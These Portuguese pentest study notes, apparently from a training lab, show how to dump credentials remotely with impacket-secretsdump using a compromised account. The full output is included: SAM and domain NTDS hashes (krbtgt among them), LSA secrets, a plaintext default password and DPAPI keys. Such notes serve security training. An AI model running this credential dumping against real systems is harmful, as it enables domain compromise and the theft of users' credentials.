

Obtendo Hashes Remotamente

+ Uma vez que conseguimos credenciais válidas, teremos acesso a outros servidores, que poderão também nos dar acesso a mais outras credenciais de acesso, seja por hash, seja por senhas em textos claros.

+ Uma maneira de por isso em prática é usar o `impacket-secretsdump` não de forma offline com o `sam` e o `system`, mas já logar direto na conta do servidor com as credenciais encontradas

```
impacket-secretsdump rogerio:Roger@10@172.16.1.60
```

```
root@pentesting:/home/desec# impacket-secretsdump rogerio:Roger@10@172.16.1.60
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[*] Target system bootKey: 0x543047e96f4428c43086fdcd7944d504
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ae4b9891ebd7e330df8bbfe37d5e95
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 ::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
GBUSINESS\SRVINT$:aes256-cts-hmac-sha1-96:c6db1cdf5c973cf4692bb735101f61dd69ea42
GBUSINESS\SRVINT$:aes128-cts-hmac-sha1-96:eaf956d8ab45f5bae9ac31576d8c0e2a
GBUSINESS\SRVINT$:des-cbc-md5:4cc4dae92a32ef62
GBUSINESS\SRVINT$:aad3b435b51404eeaad3b435b51404ee:dd92c812768b958902173dc5a8626
[*] DefaultPassword
(Unknown User):ROOT#123
[*] DPAPI_SYSTEM
dpapi_machinekey:0x8005ef0fc5fd8dd2ad9a50ac646f76cb91449b19
dpapi_userkey:0xbdce42f6eb2833cac7f8fa7905fb7395e16bc3cb
[*] NL$KM
0000 DF 98 09 4C F5 A9 C2 22 20 13 36 D1 79 FA 1C 09 ... L ... " .6.y ...
0010 BF 53 0B 5C 9A 1F 35 84 A1 23 B6 55 DE B7 6B DF .S.\.. 5 .. #.U.. k.
0020 24 01 E3 18 55 DD B2 3D 2B D7 21 4C 32 17 43 8A $ ... U .. =+.!L2.C.
0030 98 86 C5 DA 80 2C B9 42 06 14 DC 92 B4 9C B8 58 .....,.B.....X
NL$KM:df98094cf5a9c222201336d179fa1c09bf530b5c9a1f3584a123b655deb76bdf2401e31859
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:5768d89ced406e9452e9894dcec70
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 ::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6b7e6f8ab49f40b0ab5b6c175732297d ::
gbusiness.rede\rogerio:1104:aad3b435b51404eeaad3b435b51404ee:30b60e2e28db477c24b
gbusiness.rede\rafaela:1107:aad3b435b51404eeaad3b435b51404ee:53e7b168e7c7aec62e2
gbusiness.rede\camila:1111:aad3b435b51404eeaad3b435b51404ee:8d7553f39cf607eb0412
gbusiness.rede\fabricio:1112:aad3b435b51404eeaad3b435b51404ee:1795f7ef3d829b274e
SRVINT$:1000:aad3b435b51404eeaad3b435b51404ee:dd92c812768b958902173dc5a8626683 ::
WKS01$:1115:aad3b435b51404eeaad3b435b51404ee:ab0af7d0d987bcc005d90b3a9433ddb8 ::
```

→ A ferramenta automaticamente busca por novos usuários, senhas e hashes, como foi o caso do rogerio, rafaela, camila e fabricio aí encontrados.